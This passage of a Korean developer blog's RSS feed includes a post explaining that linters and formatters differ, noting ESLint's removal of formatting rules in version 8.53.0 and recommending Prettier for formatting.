&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;우리 팀이 Zustand를 쓰는 이유&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;다른 것도 좋은데.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;velog.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/Frontend</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/83</guid>
      <comments>https://developerhia.tistory.com/83#entry83comment</comments>
      <pubDate>Mon, 15 Jul 2024 15:58:30 +0900</pubDate>
    </item>
    <item>
      <title>lint와 formatter는 엄연히 다르다.</title>
      <link>https://developerhia.tistory.com/82</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;fomatter는 코드 스타일에 관여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lint는 잠재적인 오류를 정적 테스트하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ESLint는 8.53.0 버전에서 핵심 포맷팅 규칙을 폐기하고, 코드 포맷터 사용을 권장한다는 것!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 ESLint 유지보수 부담을 줄이고, 일관성을 높이기 위한 결정.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포맷팅 규칙은 점점 복잡해져서 여러 스타일 가이드를 지원해야 했고, 이는 비효율적이었기에 결정을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;ESLint 8.53.0 이전 버전에서는 린트임에도 불구하고 포맷팅 규칙이 존재했다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;(&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;포맷팅 규칙은 띄어쓰기, 세미콜론, 문자열 형식 등을 아우르는 코드 컨벤션을 강화시켜 주는 규칙을 의미&lt;/span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;둘은 엄연히 다른데 왜 ESLint에는 포멧팅 규칙이 존재했을&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;까?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;2013년 ESLint가 처음 릴리즈되었을 때 자바스크립트 생태계는 린터가 코드 포멧팅을 포함할지 말아야할지에 대한 논쟁이 분분했었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;ESLint는 유저의 수요(특히 개밸자는 하나의 툴로 모든 것을 끝내고 싶어했기에,,)로 포멧팅을 추가하기로 결정했다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;하지만 자바스크립트의 빠른 진화로 유지보수의 부담감이 증가하게 되며 결국 ESLint는 포멧팅 규칙을 없애기로 한 것!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;결론적으로 prettier 사용 없이 ESLint로 코드 포멧팅과 린트용으로 사용했던 유저라면 신규 버전의 ESLint를 사용하려면 prettier를 사용하여 포멧팅도 함께 하는 것을 권장한다.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;</description>
      <category>개발/Frontend</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/82</guid>
      <comments>https://developerhia.tistory.com/82#entry82comment</comments>
      <pubDate>Mon, 15 Jul 2024 15:35:20 +0900</pubDate>
    </item>
  </channel>
</rss>